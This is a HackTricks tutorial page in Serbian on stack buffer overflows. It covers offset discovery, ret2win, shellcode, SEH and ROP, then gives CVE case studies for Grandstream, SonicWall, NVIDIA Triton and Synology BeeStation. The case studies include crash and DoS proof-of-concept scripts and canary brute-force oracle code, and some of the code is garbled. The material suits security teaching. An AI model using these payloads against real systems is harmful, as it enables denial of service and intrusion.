Stack Overflow
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je Stack Overflow
A stack overflow je ranjivost koja se javlja kada program upiše više podataka na stack nego što je za njega alocirano. Taj višak podataka će prepisati susedni memorijski prostor, što dovodi do korupcije validnih podataka, narušavanja kontrolnog toka i potencijalno izvršavanja zlonamernog koda. Ovaj problem često nastaje zbog upotrebe nesigurnih funkcija koje ne proveravaju granice ulaza.
Glavni problem ovog prepisivanja je što su saved instruction pointer (EIP/RIP) i saved base pointer (EBP/RBP), koji služe za povratak u prethodnu funkciju, smešteni na stacku. Stoga napadač može da ih prepiše i kontroliše tok izvršavanja programa.
Ranjivost obično nastaje zato što funkcija kopira na stack više bajtova nego što je za njega alocirano, čime može da prepiše druge delove stacka.
Neke uobičajene funkcije podložne ovome su: strcpy, strcat, sprintf, gets… Takođe, funkcije poput fgets, read i memcpy koje prihvataju argument za dužinu, mogu biti upotrebljene na ranjiv način ako je navedena dužina veća od alocirane.
Na primer, sledeće funkcije mogu biti ranjive:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Pronalaženje Stack Overflows offsets
Najčešći način da se otkriju stack overflows je da se unese veoma veliki niz A-ova (npr. python3 -c 'print("A"*1000)') i očekuje Segmentation Fault koji ukazuje da je pokušano pristupiti adresi 0x41414141.
Štaviše, kada otkrijete da postoji Stack Overflow vulnerability, moraćete da nađete offset do tačke u kojoj je moguće overwrite the return address; za ovo se obično koristi De Bruijn sequence. Koja, za dati alfabet veličine k i podsekvence dužine n, predstavlja cikličnu sekvencu u kojoj se svaka moguća podsekvenca dužine n pojavljuje tačno jednom kao kontinualna podsekvenca.
Na ovaj način, umesto da ručno pokušavate da odredite koji offset je potreban za kontrolu EIP, moguće je koristiti jednu od ovih sekvenci kao padding i zatim pronaći offset bajtova koji su je prepisali.
Moguće je koristiti pwntools za ovo:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ili GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
Tokom overflow-a (pod pretpostavkom da je veličina overflow-a dovoljno velika) bićete u mogućnosti da prepišete vrednosti lokalnih promenljivih na steku dok ne dođete do sačuvanih EBP/RBP i EIP/RIP (ili čak i dalje).
Najčešći način zloupotrebe ove vrste ranjivosti je izmena adrese povratka tako da, kada se funkcija završi, tok kontrole bude preusmeren na mesto koje napadač odredi u tom pokazivaču.
Međutim, u drugim scenarijima možda je dovoljno samo prepisati vrednosti nekih promenljivih na steku za eksploataciju (npr. kod lakših CTF izazova).
Ret2win
U ovom tipu CTF izazova postoji funkcija unutar binarnog fajla koja nikada nije pozvana, a koju treba pozvati da biste pobedili. Za ove izazove potrebno je samo da nađete offset za prepisivanje adrese povratka i pronađete adresu funkcije koju treba pozvati (obično bi ASLR bio onemogućen) tako da, kada ranjiva funkcija vrati, skrivena funkcija bude pozvana:
Stack Shellcode
U ovom scenariju napadač može postaviti shellcode na stek i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod:
Windows SEH-based exploitation (nSEH/SEH)
Na 32-bit Windowsu, overflow može prepisati lanac Structured Exception Handler (SEH) umesto sačuvane adrese povratka. Eksploatacija obično zamenjuje SEH pokazivač sa POP POP RET gadget-om i koristi 4-bajtno nSEH polje za kratak skok koji pivotira nazad u veliki bafer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji dospeva na 5-bajtni near jmp postavljen neposredno pre nSEH, kako bi se skakalo stotinama bajtova nazad do početka payload-a.
ROP & Ret2… techniques
Ova tehnika je osnovni okvir za zaobilaženje glavne zaštite protiv prethodne tehnike: No executable stack (NX). I omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall…) koje na kraju izvršavaju proizvoljne komande iskorišćavanjem postojećih instrukcija u binarnom fajlu:
Heap Overflows
Overflow se ne mora uvek desiti na steku; može biti i na heap-u, na primer:
Types of protections
Postoji nekoliko zaštita koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) izlaže/cgi-bin/api.values.getna TCP/80 sa no authentication. POST parametarrequestje odvojen dvotačkom; svaki karakter se kopira uchar small_buffer[64]i token se NUL-tera na:ili kraju, bez bilo kakve provere dužine, što omogućava da jedan prevelik token razbije sačuvane registre/adresu povratka.- PoC overflow (pada i pokazuje podatke napadača u registrima):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: svaka dvotačka restartuje parsiranje i dodaje prateći NUL. Korišćenjem više predugačkih identifikatora, terminator svakog tokena može se usaglasiti na drugačiji offset u oštećenom frejmu, dopuštajući napadaču da postavi nekoliko
0x00bajtova iako svaki overflow inače dodaje samo jedan. Ovo je ključno jer je non-PIE binarni fajl mapiran na0x00008000, pa adrese ROP gadget-a sadrže NUL bajtove. - Primer colon payload-a da ubaci pet NUL-ova na odabrane offset-e (dužine podešene prema rasporedu steka):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecpokazuje NX enabled, no canary, no PIE. Eksploatacija koristi ROP lanac sastavljen od fiksnih adresa (npr. pozivsystem()pa zatimexit()), postavljajući argumente nakon što su potrebni NUL bajtovi ubačeni trik-om sa delimiter-om.
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Dobar primer zašto sscanf nikada ne treba verovati pri parsiranju nepouzdanih ulaza pojavio se 2025. u SonicWall-ovom SMA100 SSL-VPN uređaju.
Ranjiva rutina unutar /usr/src/EasyAccess/bin/httpd pokušava da izdvoji verziju i endpoint iz bilo kog URI-ja koji počinje sa /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Prva konverzija (
%2s) sigurno smešta dva bajta uversion(npr."v1"). - Druga konverzija (
%s) nema specifikatora dužine, stoga ćesscanfnastaviti sa kopiranjem dok ne naiđe na prvi NUL byte. - Pošto je
endpointsmešten na stack i ima dužinu od 0x800 bytes, slanje puta dužeg od 0x800 bytes korumpira sve što se nalazi posle buffera — uključujući stack canary i saved return address.
Jednolinijski proof-of-concept je dovoljan da izazove pad pre autentikacije:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Iako stack canaries prekidaju proces, napadač i dalje dobija Denial-of-Service primitiv (i, uz dodatne information leaks, moguće code-execution).
Primer iz stvarnog sveta: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA-ov Triton Inference Server (≤ v25.06) sadržao je više stack-based overflows dostupnih putem njegovog HTTP API.
Ranjiv obrazac se ponavljao u http_server.cc i sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) vraća broj internih buffer segmenata koji čine telo trenutnog HTTP zahteva.- Svaki segment prouzrokuje alokaciju 16-byte
evbuffer_iovecna stack putemalloca()– bez ikakvog gornjeg ograničenja. - Zloupotrebom HTTP chunked transfer-encoding, klijent može prisiliti da se zahtev podeli na stotine hiljada 6-byte chunks (
"1\r\nA\r\n"). Ovo teranda raste bez ograničenja dok se stack ne iscrpi.
Proof-of-Concept (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Zahtev od ~3 MB je dovoljan da prepiše the saved return address i **crash** the daemon na default build.
### Primer iz stvarnog sveta: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktiv’s Pwn2Own 2025 chain iskoristio pre-auth overflow u `SYNO.BEE.AdminCenter.Auth` na portu 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes attacker input u 4096-byte stack buffer, ali pogrešno postavlja `decoded_len = auth_info->len`. Because the CGI worker forks per request, every child inherits the parent’s stack canary, so one stable overflow primitive is enough to both corrupt the stack and leak all required secrets.
#### Base64-decoded JSON kao strukturirani overflow
Decoded blob mora biti validan JSON i da sadrži `"state"` i `"code"` ključeve; u suprotnom parser baci grešku pre nego što overflow postane koristan. Synacktiv je to rešio Base64-encoding-om payload-a koji dekodira u JSON, zatim NUL bajt, pa overflow stream. `strlen(decoded)` staje na NUL pa parsing uspeva, ali `SLIBCBase64Decode` je već prepisao stack iza JSON objekta, pokrivajući the canary, saved RBP, i return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi pravi fork za svaki HTTP zahtev, pa svi child procesi dele isti canary, raspored steka i PIE slide. Exploit tretira HTTP status code kao oracle: 200 odgovor znači da pogađani bajt nije narušio stek, dok 502 (ili prekinuta konekcija) znači da se proces srušio. Brute-forcing svakog bajta serijski vraća 8-byte canary, sačuvani stack pointer i return address unutar libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr jednostavno poziva bf_next_byte osam puta dok dodaje potvrđeni prefiks. Synacktiv je paralelizovao ove oracles koristeći ~16 worker threads, smanjujući ukupno leak vreme (canary + stack ptr + lib base) na manje od tri minuta.
Od leaks do ROP & izvršenje
Kada je library base poznat, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) formiraju arb_write primitive koje postavljaju /bin/bash, -c i attacker command na leaked stack address. Na kraju, lanac postavlja calling convention za SLIBCExecl (a BeeStation wrapper around execl(2)), dajući root shell bez potrebe za zasebnim info-leak bugom.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


